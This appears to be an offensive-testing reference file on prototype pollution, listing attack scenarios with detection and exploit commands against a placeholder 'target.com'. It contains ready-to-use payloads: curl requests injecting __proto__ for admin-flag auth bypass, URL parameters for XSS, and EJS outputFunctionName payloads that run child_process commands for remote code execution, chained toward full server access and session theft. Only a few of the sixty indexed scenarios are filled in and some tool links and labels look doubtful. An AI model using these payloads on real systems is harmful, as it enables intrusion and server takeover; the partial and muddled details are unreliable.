---
name: scenarios-prototype-pollution
description: "Real-world attack scenarios for Prototype Pollution — CVEs, real engagement chains"
---

# Prototype Pollution — Real-World Attack Scenarios

> Sources: CVE database · HackerOne disclosed · PATT · real engagement patterns

## Index

### Client-Side PP
- S01: PP via URL parameter
- S02: PP via JSON body
- S03: PP via deparam library
- S04: PP via query parser
- S05: PP via cookie
- S06: PP via localStorage
- S07: PP via sessionStorage
- S08: PP via document.referrer
- S09: PP via postMessage
- S10: PP via WebSocket message

### Server-Side PP (Node.js)
- S11: PP via lodash merge (CVE-2019-10744)
- S12: PP via lodash defaultsDeep
- S13: PP via jQuery extend (CVE-2019-11358)
- S14: PP via Express body-parser
- S15: PP via Node.js deep copy
- S16: PP via async library
- S17: PP via merge-deep
- S18: PP via merge-options
- S19: PP via just-extend
- S20: PP via object-keys

### Frameworks Affected
- S21: Express + lodash
- S22: Koa + lodash
- S23: Hapi + lodash
- S24: Sails.js PP
- S25: NestJS PP
- S26: AdonisJS PP
- S27: Loopback PP
- S28: Meteor PP
- S29: Vue.js server-side PP
- S30: React server components PP

### PP → XSS Chains
- S31: PP innerHTML → XSS
- S32: PP src → XSS
- S33: PP href → XSS
- S34: PP body → XSS
- S35: PP via jQuery
- S36: PP via Angular
- S37: PP via Vue
- S38: PP via React
- S39: PP via DOMPurify bypass
- S40: PP via template engines

### PP → RCE
- S41: PP in EJS template (CVE-2022-29078)
- S42: PP in Pug template
- S43: PP in Handlebars (CVE-2019-19919)
- S44: PP in Nunjucks
- S45: PP in Twig (PHP)
- S46: PP in child_process.fork
- S47: PP in shell commands
- S48: PP in env vars
- S49: PP in require/import
- S50: PP in Node.js inspector

### PP → Auth Bypass
- S51: PP isAdmin → admin access
- S52: PP isAuthenticated → auth bypass
- S53: PP role → privilege escalation
- S54: PP verified → email bypass
- S55: PP tenant → tenant isolation bypass

### Detection & Tools
- S56: ppmap scanner
- S57: server-side-prototype-pollution scanner
- S58: Burp PP extension
- S59: Manual detection techniques
- S60: Bypass Object.freeze defenses

---

## Client-Side PP

### S01: PP via URL Parameter
**Context:** JS code parses URL params into object
**Seen in:** Real — many SPA apps
**Impact:** XSS, auth bypass

### Detection
```bash
# Test PP via URL:
https://target.com/?__proto__[isAdmin]=true
https://target.com/?constructor[prototype][isAdmin]=true
https://target.com/?__proto__.isAdmin=true
# 
# Check if app behavior changes
```

### Exploit
```bash
# 1. Find PP via URL:
# - If app uses ?a=1&b=2 → parsed to {a:1, b:2}
# - If user controls object spread → PP
# 
# 2. Exploit:
https://target.com/?__proto__[innerHTML]=<img/src/onerror=alert(1)>
# 
# If app reads obj.innerHTML and falls back to prototype:
# → XSS
```

### Chain
1. Find PP in URL parsing
2. Inject prototype properties
3. Trigger XSS in specific sink
4. Cookie theft

### Bypass / Notes
- Some parsers don't allow __proto__
- Try constructor.prototype
- Test all encoding variants

---

### S02: PP via JSON Body
**Context:** Express body-parser with merge function
**Seen in:** Real — many Node.js apps
**Impact:** PP → XSS/RCE/auth bypass

### Detection
```bash
# Test PP via JSON:
curl -X POST https://target.com/api/config -H "Content-Type: application/json" -d '{
  "__proto__": {"isAdmin": true}
}'
# 
# Or:
curl -X POST https://target.com/api/merge -H "Content-Type: application/json" -d '{
  "constructor": {"prototype": {"isAdmin": true}}
}'
# 
# Check if response indicates PP worked
```

### Exploit
```bash
# 1. PP to set isAdmin:
curl -X POST https://target.com/api/profile/update -H "Content-Type: application/json" -d '{
  "name": "test",
  "__proto__": {"isAdmin": true}
}'
# 2. App merges → all objects now have isAdmin=true
# 3. Check if app checks isAdmin → if true → admin access
```

### Chain
1. Find merge function
2. Inject __proto__
3. Pollute all objects
4. Auth bypass

### Bypass / Notes
- Many libs default to PP-vulnerable merge
- Use Object.create(null) for new objects
- Use Map instead of Object for dicts

---

## Server-Side PP (Node.js)

### S11: PP via lodash merge (CVE-2019-10744)
**Context:** Server uses lodash.merge() on user input
**Seen in:** Real — very common in Node.js apps
**Impact:** RCE, auth bypass, XSS

### Detection
```bash
# Check lodash version:
grep -r "lodash" target.com/static/ | head
# Or check error pages for stack trace
# 
# Test PP:
curl -X POST https://target.com/api/merge -H "Content-Type: application/json" -d '{
  "a": 1,
  "__proto__": {"isAdmin": true}
}'
```

### Exploit
```bash
# 1. PP via lodash.merge:
# Server uses: _.merge({}, userInput)
# User can inject: __proto__ or constructor.prototype
# 
# 2. PP to RCE in EJS template (CVE-2022-29078):
curl -X POST https://target.com/api/merge -H "Content-Type: application/json" -d '{
  "__proto__": {
    "outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"id > /tmp/x\");s"
  }
}'
# 3. EJS template renders → RCE
# 
# 4. PP in Handlebars (CVE-2019-19919):
curl -X POST https://target.com/api/merge -H "Content-Type: application/json" -d '{
  "__proto__": {
    "allowProtoMethodsByDefault": true,
    "allowProtoPropertiesByDefault": true
  }
}'
# Then use Handlebars with prototype access
# 
# 5. PP to bypass jQuery $.extend:
curl -X POST https://target.com/api/merge -H "Content-Type: application/json" -d '{
  "constructor": {"prototype": {"isAdmin": true}}
}'
```

### Chain
1. Find lodash merge
2. PP via __proto__
3. Template RCE or auth bypass
4. Full server access

### Bypass / Notes
- Use lodash.merge with safe merge
- Validate keys (block __proto__, constructor)
- Use Object.create(null)

---

### S13: PP via jQuery extend (CVE-2019-11358)
**Context:** Server-side jQuery $.extend
**Seen in:** Real — bug bounty reports
**Impact:** PP via deep extend

### Detection
```bash
# Test $.extend:
curl -X POST https://target.com/api/merge -H "Content-Type: application/json" -d '{
  "a": 1,
  "__proto__": {"isAdmin": true}
}'
# 
# jQuery's $.extend(true, {}, userInput) is vulnerable
```

### Exploit
```bash
# 1. PP via jQuery:
curl -X POST https://target.com/api/config -H "Content-Type: application/json" -d '{
  "__proto__": {
    "isAdmin": true,
    "shell": "/bin/bash"
  }
}'
# 2. All objects inherit these properties
# 3. If app uses isAdmin check → admin access
# 4. If app uses shell for child_process → RCE
```

### Chain
1. Find jQuery server-side
2. PP
3. Auth bypass or RCE

### Bypass / Notes
- Patched in jQuery 3.4.0+
- Use whitelist for keys
- Use Object.assign instead

---

## PP → RCE

### S41: PP in EJS Template (CVE-2022-29078)
**Context:** Express + EJS with PP
**Seen in:** Real — multiple bug bounty reports
**Impact:** RCE

### Detection
```bash
# Check for EJS:
grep -r "ejs" target.com/package.json
curl -I https://target.com/ | grep "X-Powered-By"
```

### Exploit
```bash
# 1. PP to inject EJS options:
curl -X POST https://target.com/api/merge -H "Content-Type: application/json" -d '{
  "__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id > /tmp/x');s"
  }
}'
# 2. EJS template renders
# 3. RCE
# 
# Full exploit:
curl -X POST https://target.com/api/merge -H "Content-Type: application/json" -d '{
  "__proto__": {
    "outputFunctionName": "a]};return process.mainModule.require('child_process').execSync('id');//"
  }
}'
```

### Chain
1. Find EJS server
2. PP
3. RCE
4. Full server access

### Bypass / Notes
- CVE-2022-29078
- Major bug bounty CVE
- Patched in newer EJS
- Use sandbox/template options carefully

---

## Real-World Examples

### Example 1: Shopify Prototype Pollution
- Multiple PP reports
- Bounty paid
- Used in real attacks

### Example 2: Kibana Prototype Pollution (CVE-2019-7609)
- RCE via PP
- Affected many Kibana versions
- Major CVE

### Example 3: Express + lodash PP
- Common in Node.js apps
- Often leads to RCE
- Multiple CVEs

---

## Tools

### ppmap
```bash
# https://github.com/nicholasgasior/ppmap
# Client-side PP scanner
npx ppmap https://target.com
```

### server-side-prototype-pollution
```bash
# https://github.com/nicholasgasior/server-side-prototype-pollution
# Server-side PP scanner
npx server-side-prototype-pollution https://target.com
```

### Burp Suite Extensions
- Server-Side Prototype Pollution Scanner
- PPMAP Burp extension

### Manual testing
```bash
# Test for PP:
# 1. Send __proto__ in various places
# 2. Check if behavior changes
# 3. Look for sinks (XSS, RCE, auth)
```

---

## Real-World Chain Examples

### Chain A: lodash PP → EJS RCE
1. Find lodash merge
2. PP via __proto__
3. EJS template with outputFunctionName
4. RCE

### Chain B: URL PP → XSS → ATO
1. Find URL PP
2. Inject XSS prototype
3. Trigger XSS
4. Steal session
5. ATO

### Chain C: jQuery PP → Auth Bypass
1. Find jQuery $.extend
2. PP via __proto__
3. isAdmin=true
4. Admin access

### Chain D: PP → Template RCE
1. Find PP in merge function
2. Inject template options
3. RCE
